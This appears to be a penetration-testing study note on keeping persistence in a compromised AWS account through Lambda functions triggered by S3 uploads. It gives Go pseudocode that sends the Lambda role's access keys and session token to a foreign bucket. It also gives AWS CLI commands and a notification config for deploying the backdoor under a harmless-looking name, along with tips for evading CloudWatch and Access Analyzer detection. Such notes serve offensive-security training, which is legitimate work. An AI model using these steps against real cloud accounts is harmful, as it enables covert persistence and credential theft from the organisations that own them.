oscp/Necronomicon/Cloud/AWS/Persistence.md

• Lambda functions
  • Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
    • The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
    • S3 dashboard makes it less obvious.
  • Access Analyzer will be concerned by creating new users or granting permissions to foreign users
    • Use something like uploading lambda role credentials to a foreign bucket
• Golang Pseudocode:

accessKey := fmt.Sprintf(`
	AWS_ACCESS_KEY_ID=%s
	AWS_SECRET_ACCESS_KEY=%s
	AWS_SESSION_TOKEN=%s"`,
		os.Getenv("AWS_ACCESS_KEY_ID"),
		os.Getenv("AWS_SECRET_ACCESS_KEY"),
		os.Getenv("AWS_SESSION_TOKEN"), 
	) 
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)

• Create lambda function
  • aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>
• Create trigger event on upload of file to s3
  • aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>
  • Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
    • aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json
• Example rule config

{
    "LambdaFunctionConfigurations": [{
        "Id": "s3InvokeLambda12",
        "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
:function:support-metrics-calc",
        "Events": ["s3:ObjectCreated:*"],
        "Filter": {
            "Key": {
                "FilterRules": [{
                    "Name": "prefix",
                    "Value": "2"
                }]
            }
        }
    }]
}